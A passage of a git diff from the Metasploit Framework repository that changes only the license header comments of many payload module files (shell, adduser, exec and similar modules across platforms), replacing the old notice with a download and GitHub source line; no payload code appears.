0b72a8b7d5..4b48d6bacd 100644 --- a/modules/payloads/singles/cmd/windows/reverse_perl.rb +++ b/modules/payloads/singles/cmd/windows/reverse_perl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/cmd/windows/reverse_ruby.rb b/modules/payloads/singles/cmd/windows/reverse_ruby.rb index 562e2e86b5..8d789c160b 100644 --- a/modules/payloads/singles/cmd/windows/reverse_ruby.rb +++ b/modules/payloads/singles/cmd/windows/reverse_ruby.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/generic/custom.rb b/modules/payloads/singles/generic/custom.rb index 83bb0a59a2..74475c18d6 100644 --- a/modules/payloads/singles/generic/custom.rb +++ b/modules/payloads/singles/generic/custom.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/generic/debug_trap.rb b/modules/payloads/singles/generic/debug_trap.rb index 95e5183674..505a091e67 100644 --- a/modules/payloads/singles/generic/debug_trap.rb +++ b/modules/payloads/singles/generic/debug_trap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/generic/shell_bind_tcp.rb b/modules/payloads/singles/generic/shell_bind_tcp.rb index d8c666f472..1f3cbc2c9a 100644 --- a/modules/payloads/singles/generic/shell_bind_tcp.rb +++ b/modules/payloads/singles/generic/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/generic/shell_reverse_tcp.rb b/modules/payloads/singles/generic/shell_reverse_tcp.rb index b33462cf1d..f95d343d89 100644 --- a/modules/payloads/singles/generic/shell_reverse_tcp.rb +++ b/modules/payloads/singles/generic/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/generic/tight_loop.rb b/modules/payloads/singles/generic/tight_loop.rb index 345774a27d..4728cd68b8 100644 --- a/modules/payloads/singles/generic/tight_loop.rb +++ b/modules/payloads/singles/generic/tight_loop.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb index 2b99c779fd..5a532bb7ec 100644 --- a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## # This file in part of the Metasploit Framework and may be subject to # redintribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb index 02585ce43a..3f8103141b 100644 --- a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## # This file in part of the Metasploit Framework and may be subject to # redintribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ ## require 'msf/core' diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb index 6ed3fb84b9..254e856a18 100644 --- a/modules/payloads/singles/java/shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/armle/adduser.rb b/modules/payloads/singles/linux/armle/adduser.rb index 6e69efa913..169d2ef02c 100644 --- a/modules/payloads/singles/linux/armle/adduser.rb +++ b/modules/payloads/singles/linux/armle/adduser.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/armle/exec.rb b/modules/payloads/singles/linux/armle/exec.rb index cf57afd85a..68d0e73c6c 100644 --- a/modules/payloads/singles/linux/armle/exec.rb +++ b/modules/payloads/singles/linux/armle/exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/armle/shell_bind_tcp.rb b/modules/payloads/singles/linux/armle/shell_bind_tcp.rb index 9102cb277f..303ca15f99 100644 --- a/modules/payloads/singles/linux/armle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/armle/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb index b2de35ee92..2aaaf15b9d 100644 --- a/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb index ce744e1fb2..9008640c53 100644 --- a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # Written in a hurry using shellforge and my MIPS shellforge loader (avail. on cr0.org) diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb index 3aabbf0afc..f7547da692 100644 --- a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb index 94cd83f042..d69ec65072 100644 --- a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # Written in a hurry using shellforge and my MIPS shellforge loader (avail. on cr0.org) diff --git a/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb b/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb index 8e861c186a..b1f8b410ab 100644 --- a/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/ppc/shell_find_port.rb b/modules/payloads/singles/linux/ppc/shell_find_port.rb index 5b0b6b9815..279b3ffc2a 100644 --- a/modules/payloads/singles/linux/ppc/shell_find_port.rb +++ b/modules/payloads/singles/linux/ppc/shell_find_port.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb index 9fafb383b6..74c2e5e04b 100644 --- a/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb b/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb index fac52a74a8..18a9851db5 100644 --- a/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/ppc64/shell_find_port.rb b/modules/payloads/singles/linux/ppc64/shell_find_port.rb index 970da2c551..0ad77eed41 100644 --- a/modules/payloads/singles/linux/ppc64/shell_find_port.rb +++ b/modules/payloads/singles/linux/ppc64/shell_find_port.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb b/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb index 433d1f453c..34d78f3d8e 100644 --- a/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/x64/exec.rb b/modules/payloads/singles/linux/x64/exec.rb index 42fe393cda..e19b5fa0ef 100644 --- a/modules/payloads/singles/linux/x64/exec.rb +++ b/modules/payloads/singles/linux/x64/exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x64/shell_bind_tcp.rb b/modules/payloads/singles/linux/x64/shell_bind_tcp.rb index af972bfc89..dd63ea7360 100644 --- a/modules/payloads/singles/linux/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/x64/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x64/shell_find_port.rb b/modules/payloads/singles/linux/x64/shell_find_port.rb index 9b0d681d14..addfefb6c5 100644 --- a/modules/payloads/singles/linux/x64/shell_find_port.rb +++ b/modules/payloads/singles/linux/x64/shell_find_port.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb b/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb index a51ca9ddcf..f104820e98 100644 --- a/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/adduser.rb b/modules/payloads/singles/linux/x86/adduser.rb index b8f65e2e4d..52aba7147f 100644 --- a/modules/payloads/singles/linux/x86/adduser.rb +++ b/modules/payloads/singles/linux/x86/adduser.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/chmod.rb b/modules/payloads/singles/linux/x86/chmod.rb index fa1b409e2d..b784bb2449 100644 --- a/modules/payloads/singles/linux/x86/chmod.rb +++ b/modules/payloads/singles/linux/x86/chmod.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/x86/exec.rb b/modules/payloads/singles/linux/x86/exec.rb index 0b4304e917..94e673d0ae 100644 --- a/modules/payloads/singles/linux/x86/exec.rb +++ b/modules/payloads/singles/linux/x86/exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb b/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb index fc0680d1d7..26a3860309 100644 --- a/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb +++ b/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb b/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb index d475f1b6ba..4c473610c5 100644 --- a/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x86/read_file.rb b/modules/payloads/singles/linux/x86/read_file.rb index 89d240b847..d3d72df0c9 100644 --- a/modules/payloads/singles/linux/x86/read_file.rb +++ b/modules/payloads/singles/linux/x86/read_file.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb index 778abd43fd..9c57efdcc9 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/x86/shell_bind_tcp.rb b/modules/payloads/singles/linux/x86/shell_bind_tcp.rb index 0c65a1eafb..bc3a4cc439 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/x86/shell_find_port.rb b/modules/payloads/singles/linux/x86/shell_find_port.rb index 1979e078f7..fdb9821467 100644 --- a/modules/payloads/singles/linux/x86/shell_find_port.rb +++ b/modules/payloads/singles/linux/x86/shell_find_port.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/x86/shell_find_tag.rb b/modules/payloads/singles/linux/x86/shell_find_tag.rb index 5b90cb8b6d..8d2cf11e04 100644 --- a/modules/payloads/singles/linux/x86/shell_find_tag.rb +++ b/modules/payloads/singles/linux/x86/shell_find_tag.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb b/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb index 9a9efff894..ff1a8fe10e 100644 --- a/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb b/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb index b6dc6e612c..4f02ac46d5 100644 --- a/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb +++ b/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'metasm' diff --git a/modules/payloads/singles/nodejs/shell_bind_tcp.rb b/modules/payloads/singles/nodejs/shell_bind_tcp.rb index 0135befa97..4676b098d9 100644 --- a/modules/payloads/singles/nodejs/shell_bind_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # It would be better to have a commonjs payload, but because the implementations diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb index 1957581af6..4951855ae1 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # It would be better to have a commonjs payload, but because the implementations diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb index becbc7a8e9..5e14658ae1 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/osx/armle/shell_bind_tcp.rb b/modules/payloads/singles/osx/armle/shell_bind_tcp.rb index a9d5836928..a85c03e654 100644 --- a/modules/payloads/singles/osx/armle/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/armle/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb b/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb index 671d4b9858..b94c684691 100644 --- a/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/osx/armle/vibrate.rb b/modules/payloads/singles/osx/armle/vibrate.rb index fb4d883a2a..976b500493 100644 --- a/modules/payloads/singles/osx/armle/vibrate.rb +++ b/modules/payloads/singles/osx/armle/vibrate.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb b/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb index b3cc5f78b8..eadff786e4 100644 --- a/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb index 6948decbc6..ac20747d51 100644 --- a/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/osx/x64/exec.rb b/modules/payloads/singles/osx/x64/exec.rb index 1a93e13352..0f98c8576d 100644 --- a/modules/payloads/singles/osx/x64/exec.rb +++ b/modules/payloads/singles/osx/x64/exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x64/say.rb b/modules/payloads/singles/osx/x64/say.rb index a1554d0302..83156871a1 100644 --- a/modules/payloads/singles/osx/x64/say.rb +++ b/modules/payloads/singles/osx/x64/say.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x64/shell_bind_tcp.rb b/modules/payloads/singles/osx/x64/shell_bind_tcp.rb index 8fde04ebd5..4e1ed6c76f 100644 --- a/modules/payloads/singles/osx/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x64/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/osx/x64/shell_find_tag.rb b/modules/payloads/singles/osx/x64/shell_find_tag.rb index 80c111528f..05000e64c9 100644 --- a/modules/payloads/singles/osx/x64/shell_find_tag.rb +++ b/modules/payloads/singles/osx/x64/shell_find_tag.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb index 966c905f6e..701a35e112 100644 --- a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module 